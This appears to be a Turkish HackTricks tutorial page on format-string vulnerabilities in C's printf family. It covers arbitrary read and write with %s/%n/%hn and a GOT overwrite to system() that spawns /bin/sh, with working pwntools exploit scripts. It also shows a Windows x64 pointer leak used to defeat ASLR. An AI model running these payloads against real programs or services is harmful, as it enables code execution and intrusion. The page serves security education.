12 KiB
Raw Blame History

Format Strings

{{#include ../../banners/hacktricks-training.md}}

Temel Bilgiler

C'de printf bir stringi yazdırmak için kullanılabilen bir fonksiyondur. Bu fonksiyonun beklediği ilk parametre, format belirleyicileriyle birlikte ham metindir. Beklenen izleyen parametreler ise ham metindeki format belirleyicilerini yerine koymak için kullanılacak değerlere karşılık gelir.

Diğer savunmasız fonksiyonlar sprintf() ve fprintf()'dir.

Zafiyet, bu fonksiyona saldırgan tarafından oluşturulmuş bir metnin ilk argüman olarak verilmesi durumunda ortaya çıkar. Saldırgan, printf format string yeteneklerini kötüye kullanarak özel bir girdi oluşturabilecek ve böylece herhangi bir adresten herhangi bir veriyi okumak ve yazmak (okunabilir/yazılabilir) imkanına sahip olacaktır. Bu yolla rastgele kod çalıştırma mümkün hale gelir.

Format belirleyicileri:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Örnekler:

  • Zafiyetli örnek:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normal Kullanım:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Eksik Argümanlarla:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf zafiyeti:
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

İşaretçilere Erişim

Biçim %<n>$x, burada n bir sayı olup, printf'in stack'ten n. parametreyi seçmesini sağlar. Yani stack'ten 4. parametreyi printf ile okumak istiyorsanız şu şekilde yapabilirsiniz:

printf("%x %x %x %x")

ve birinci ile dördüncü parametreyi okurdunuz.

Ya da şunu yapabilirdiniz:

printf("%4$x")

ve doğrudan dördüncüyü okumak.

Dikkat edin ki saldırgan printf parameter'ını kontrol eder, bu temel olarak demektir ki onun girdisi printf çağrıldığında stack'te olacak; bu da stack'e belirli address'ler yazabileceği anlamına gelir.

Caution

Bu girdiyi kontrol eden bir saldırgan, stack'e istediği address'i ekleyebilecek ve printf'in bunlara erişmesini sağlayabilecektir. Bir sonraki bölümde bu davranışın nasıl kullanılacağııklanacaktır.

Arbitrary Read

%n$s formatter'ını kullanarak printf'in n pozisyonunda bulunan address'i almasını, onu takip etmesini ve sanki bir stringmiş gibi yazdırmasını (0x00 bulunana kadar yazdırır) sağlamak mümkündür. Bu yüzden eğer binary'nin base address'i 0x8048000 ise ve kullanıcı girdisinin stack'te 4. pozisyonda başladığını biliyorsak, binary'nin başlangıcını şu şekilde yazdırmak mümkündür:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

Caution

0x8048000 adresini input'un başına koyamazsınız çünkü string o adresin sonunda 0x00 ile kesilecektir.

Find offset

input'unuza olan offset'i bulmak için 4 veya 8 bytes (0x41414141) gönderip ardından %1$x ekleyebilir ve değeri artırarak A's'ları alana kadar ilerleyebilirsiniz.

Brute Force printf offset ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### Ne işe yarar

Arbitrary reads şu amaçlarla faydalı olabilir:

- **Dump** bellekteki **binary**'yi çıkarmak
- Belleğin hassas **info**'nun saklandığı belirli bölümlerine erişmek (ör. **canaries**, **encryption keys** veya özel parolalar; örneğin bu [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## **Arbitrary Write**

Formatlayıcı **`%<num>$n`** **yazar** stack'teki <num> parametresinin gösterdiği **yazılan byte sayısını** **gösterilen adrese**. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`%<num>$n`**'in herhangi bir sayıyı herhangi bir adrese yazmasını sağlayabilir.

Neyse ki, 9999 sayısını yazmak için girdiye 9999 tane "A" eklemeye gerek yok; bunun yerine formatlayıcı **`%.<num-write>%<num>$n`** kullanılarak **`<num-write>`** sayısını **`num` pozisyonunun işaret ettiği adrese** yazmak mümkündür.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Ancak, genellikle 0x08049724 gibi bir adresi yazmak (tek seferde yazılması çok BÜYÜK bir sayı olduğu için), $hn kullanılır $n yerine. Bu, sadece 2 Byte yazmaya izin verir. Bu nedenle bu işlem iki kez yapılır: adresin yüksek 2B'si için bir kez ve düşük olanlar için bir kez daha.

Dolayısıyla, bu zafiyet herhangi bir adrese herhangi bir şeyi yazmaya (arbitrary write) izin verir.

Bu örnekte amaç, daha sonra çağrılacak olan GOT tablosundaki bir fonksiyonun adresini üzerine yazmak (overwrite) olacak. Ancak bu, diğer arbitrary write -> exec teknikleriyle de sömürülebilir:

{{#ref}} ../arbitrary-write-2-exec/ {{#endref}}

Kullanıcının argümanlarını alan bir fonksiyonu overwrite edip bunu system fonksiyonuna işaret edeceğiz.
Bahsedildiği gibi, adresi yazmak genellikle 2 adım gerektirir: önce adresin 2 Byte'ını yazarsınız, sonra diğer 2 Byte'ı. Bunu yapmak için $hn kullanılır.

  • HOB, adresin üst 2 byteları için kullanılır
  • LOB, adresin alt 2 byteları için kullanılır

Daha sonra, format string'in çalışma şekli nedeniyle önce [HOB, LOB] içindeki küçüğü yazmanız, sonra diğerini yazmanız gerekir.

Eğer HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Eğer HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools Şablonu

Bu tür bir zafiyet için bir exploit hazırlamak üzere bir şablon bulabilirsiniz:

{{#ref}} format-strings-template.md {{#endref}}

Ya da here adresindeki bu temel örnek:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

Bir format string açığının write işlemlerini kötüye kullanarak stack üzerindeki adreslere yazmak ve bir buffer overflow türü açığını exploit etmek mümkündür.

Windows x64: Format-string leak to bypass ASLR (no varargs)

Windows x64'te ilk dört integer/pointer parametre RCX, RDX, R8, R9 register'larında geçirilir. Birçok hatalı call-site'te attacker-controlled string format argument olarak kullanılır fakat hiçbir variadic argument sağlanmaz, örneğin:

// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);

Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause the CRT to read the next variadic argument from the appropriate register. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR.

Pratik iş akışı:

  • Saldırgan-kontrolündeki string'in en başına "%p " gibi zararsız bir format enjekte edin, böylece ilk dönüşüm herhangi bir filtrelemeden önce çalışır.
  • Leak edilen pointer'ı yakalayın, o objenin modül içindeki statik offset'ini belirleyin (bir kere symbol'lerle veya yerel bir kopya ile reverse ederek) ve image base'i leak - known_offset olarak geri kazanın.
  • Bu base'i uzak olarak ROP gadgets ve IAT entries için mutlak adresler hesaplamak üzere yeniden kullanın.

Example (abbreviated python):

from pwn import remote

# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-"  # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
base   = leaked - 0x20660                     # module base = leak - offset
print(hex(leaked), hex(base))

Notes:

  • Çıkarılacak kesin offset, yerel reversing sırasında bir kez bulunur ve sonra yeniden kullanılır (aynı binary/version).
  • Eğer "%p" ilk denemede geçerli bir pointer yazdırmıyorsa, diğer specifier'ları ("%llx", "%s") veya birden fazla conversion ("%p %p %p") deneyerek diğer argument registers/stack'i örnekleyin.
  • Bu pattern, format string onları istediğinde olmayan varargs'ları registers'tan çeken Windows x64 calling convention ve printf-family implementasyonlarına özgüdür.

Bu teknik, ASLR ile derlenmiş ve bariz memory disclosure primitives olmayan Windows services üzerinde ROP'u bootstrap etmek için son derece kullanışlıdır.

Diğer Örnekler & Referanslar

Referanslar

{{#include ../../banners/hacktricks-training.md}}